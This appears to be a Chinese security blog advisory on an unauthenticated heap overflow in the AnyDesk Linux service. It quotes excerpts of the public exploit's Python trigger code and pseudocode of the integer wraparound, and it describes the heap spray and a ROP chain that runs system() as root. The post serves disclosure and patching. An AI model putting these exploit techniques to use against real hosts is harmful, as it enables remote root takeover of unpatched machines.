【漏洞预警】AnyDesk Linux存在堆缓冲区溢出漏洞(POC已公开)
YGnight
YGnight
night安全
2026年10月14日 09:01
四川
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
一、漏洞描述
AnyDesk 是装机量很大的远程桌面工具,Linux 版在系统里以服务方式常驻。
这个服务默认跑在 root 权限下,同时在 TCP 7070 上收连接。
8.0.3 之前的版本里,会话协议处理 mode-5 流数据包的地方留了个口子。
远端在包里携带的一个长度值被直接拿去用,核对排在了后面。
结果是入口落在 AnyDesk 自己的服务上。发起方不需要任何账号,也不需要桌面那一侧点头同意共享屏幕。
CVE 编号为 CVE-2026-109390,MITRE 在 2026 年 10 月 12 日发布了这条记录。
归类 CWE-130。CVSS 3.1 打分 9.8,向量 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,评分方同为 MITRE。
NVD 上这条记录目前还是 Received 状态,尚未给出自己的评分。
CISA 的 SSVC 记录给了三项取值,利用成熟度 poc,自动化可行性 yes,技术影响 total。
受影响区间按 NVD 记录是 8.0.0 起、8.0.3 之前,平台 Linux。
公开利用代码的实测对象是 8.0.2,运行环境 Linux x86\_64,服务以 service 模式启动。
该构建的二进制 SHA-256 为 62ee04ad48dc039dd9c927f998e56143c87a9c5e12d28654f78c7f6340394f5a。
8.0.1 是否带同一处问题,公开材料只提到可能存在相同的代码,没有实测结论。
厂商早在同年 6 月就已经推送了 8.0.3,公开利用代码直到 10 月 8 日才放出。
公开情报里暂无已观测到的在野利用记录。
| CVE 编号 | CVE-2026-109390 |
| 漏洞类型 | 堆缓冲区溢出,CWE-130,长度参数处理不一致 |
| 影响组件 | AnyDesk Linux 会话协议的 mode-5 流数据包处理逻辑 |
| 受影响版本 | NVD 记录 8.0.0 起至 8.0.3 之前,平台 Linux;公开利用实测 8.0.2 |
| 修复版本 | 8.0.3 |
| 触发前提 | TCP 7070 网络可达,AnyDesk 以服务模式常驻 |
| 利用条件 | 无需认证,无需用户交互,无需对方同意桌面控制 |
| 危害面 | 以服务进程权限执行任意命令,Linux 下该进程通常为 root |
| CVSS | 9.8,CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,评分来源 MITRE |
| 在野利用 | 公开情报中暂无已观测到的在野利用记录 |
二、漏洞原理
握手结束之后,服务端给这条连接分配一个流 id,后续的数据包都挂在它上面。
流上的 mode-5 包共五段。
// mode-5 数据包在已分配流上的布局
u16be frame\_len 整个帧的字节数
u16be stream\_id 握手时服务端分配的流 id
u8 mode\_prefix 固定 0x00
varint declared\_len 本包声明的载荷长度
u8[] body 实际跟过来的数据
// 32 位加法在这一步进位被丢掉
0xfffffff0 + 0x10 = 0x1\_0000\_0000
保留低 32 位 = 0x00000000
声明值走的是变长整数编码,7 位一格,公开脚本里这段是自己实现的。
// exploit/anydesk\_proto/frames.py
def encode\_varint(value):
out = bytearray()
while True:
byte = value & 0x7F
value >>= 7
if value:
out.append(byte | 0x80)
else:
out.append(byte)
return bytes(out)
def build\_mode5\_payload(payload):
return encode\_varint(len(payload)) + payload
0xfffffff0 用这种编码只占五个字节,外面那层帧可以小到几十字节。攻击者不用真发四个 G,数字写进去就够了。
下面这段按公开描述还原,不是厂商源码,也没有在本机执行。
// 按公开描述还原的处理流程
declared = read\_varint(p) // 0xfffffff0,未与帧剩余长度比对
alloc\_sz = declared + 0x10 // 32 位加法,进位丢弃
obj = malloc(alloc\_sz) // 拿到 0 字节
obj->data = (char \*)obj + 0x10 // 数据区仍按 16 字节头后移
obj->len = declared // 逻辑长度保留原值
memcpy(obj->data, body, body\_len) // 写入越过堆块边界
0xfffffff0 到 0xffffffff 这一段声明值都能触发,算出来的分配大小落在 0 到 15 字节。
对象这边留着原本那个巨大的长度,指针照旧从分配起点往后挪 16 字节,多出来的部分写到了别人头上。
触发包本身很短,脚本里只拼了一个几十字节的对象。
// exploit/anypwn.py
MODE5\_TRIGGER\_DECLARED\_LEN = 0xFFFF\_FFF0
mode5\_prefix = encode\_varint(MODE5\_TRIGGER\_DECLARED\_LEN)
body = (
b\"C\" \* 0x10
+ p64(offsets[\"target\_vtable\"])
+ p64(0xFF)
+ p64(0)
+ p64(0xD001)
+ p64(offsets[\"stack\_pivot\"])
)
payload = STREAM\_MODE\_PREFIX + mode5\_prefix + body
frame = build\_stream\_payload(stream\_id, payload)
client.send\_raw(frame)
前面那 16 个 C 用来填满对象头,后面四个值依次是虚函数表指针、引用计数、零值和一个 0xD001 标记,最后那个是栈迁移跳板。
这些地址连同 vtable 与各条 gadget 写死在脚本开头的字典里,全部取自 8.0.2 这一个构建。
溢出要有用,前提是某个受害者对象正好挨着那块被算小的内存。
脚本先把分配器的常见尺寸铺满,从 1 字节到 0x17f1 字节,每 16 字节一档,每档发 100 个对象,之后再另开十条连接放候选受害者。
后面的 ROP 部分解决落点问题。同样一份对象连发二十份,每份前面是一长串 ret 指令地址,中间才是真正的调用链。
调用链本身做的事不复杂,命令字符串按 8 字节一组写进固定地址,地址放进第一个参数,跳去执行 system。
这是一趟概率活。内存布局没凑上的时候,服务进程会直接崩掉,命令不会跑起来。
三、修复建议
Linux 上的 AnyDesk 升到 8.0.3 及以上
近期值得重点关注的漏洞预警
【紧急漏洞预警】nacos爆出权限绕过漏洞,可以创建管理员账户,经过分析有点出处(已复现,exp脚本已编写)
【漏洞预警】macOS爆出路径穿越漏洞CVE-2026-84568(POC已公开)
【漏洞预警】Atlassian八款产品爆任意文件读取漏洞(附POC)
【漏洞预警】Joomla视频画廊扩展存在SQL注入漏洞(POC已公开)
【漏洞预警】Roundcube网页邮件客户端存在SQL注入漏洞(附POC)
WordPress页面模板存在文件包含漏洞(POC已公开)CVE-2026-87902
WordPress插件Forminator未认证短代码执行漏洞(poc已公开)CVE-2026-92229
WordPress插件Authorizer存在权限提升漏洞(POC已公开)CVE-2026-81294
WordPress插件MStoreAPI存在认证绕过漏洞(POC已公开)CVE-2026-13447
CakePHP爆出SQL注入漏洞(POC已公开)CVE-2026-77635
Node.js模块proxy-addr爆出严重漏洞CVE-2026-90711
Langflow爆出代码执行漏洞CVE-2026-17633 (POC已公开)
Apache CVE-2026-42536,补它只用一行,洞龄十四年
【紧急】搜狗输入法爆出远程代码执行漏洞CVE-2026-51990 ,已被在野利用
【紧急】无需登录就能获取 GitLab 的任意文件数据(附POC)
【紧急】JumpServer堡垒机被公布Access Key泄露漏洞,可以实现提权
Spring Cloud Azure公布严重漏洞 无需任何权限即可取得登录会话
【漏洞POC已公开】Linux RDS 爆出提权漏洞 一块内存放两次,root就到手了
13 行补丁,堵住Linux能拿 root 的内核洞(EXP已公开)
48 字节,换走一台 Windows 的 SYSTEM(CVE-2026-62735漏洞POC已公开)
【漏洞预警】linux删个网桥就能提权root?目前没有补丁(POC已公开)
【漏洞预警】自己注册个号,就能搬空别人的 Magento 订单和支付卡(POC已公开)
【漏洞预警】Next.js 爆出新漏洞,不用登录实现命令执行(POC已公开)
【漏洞补丁绕过预警】Redis CVE-2026-23479变种高危漏洞,EXP已公开
【漏洞补丁绕过】超 30 万 WordPress 站点受影响,Forminator 文件上传漏洞(附POC)
【漏洞预警】Exchange爆出RCE漏洞,利用Exchange 帮另一台 Exchange 开门(POC已公开)
【漏洞预警】不用登录,一个请求就能让 GeoServer 乖乖执行命令(POC已公开)
【漏洞预警】Keycloak不登录就能接管任意账户,双重验证也拦不住
【漏洞预警】 8月WebLogic公布了9个漏洞,有一个需要重点关注
【漏洞预警】近期MongoDB 公布了5个漏洞,最严重的一个可以不认证、远程就能拿下你电脑
【0DAY漏洞】 全球5G手机芯片厂商之一的紫光展锐SOC存在RCE漏洞,影响数十家手机厂商,还未发布补丁
【漏洞告警】安卓 14 到 16 全中招,通讯录 SQL 注入漏洞正在抄家(POC已公开)
【漏洞预警】不用输密码,对方已经接管你的Mac:官方补丁公布macOS存在未鉴权RCE漏洞
【0day漏洞预警】MariaDB 13 爆 9.8 分 RCE 链:最低 USAGE 权限就能远程执行命令
VMware 爆 5 个洞,两个 9.8 不用密码就能打穿 vCente
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论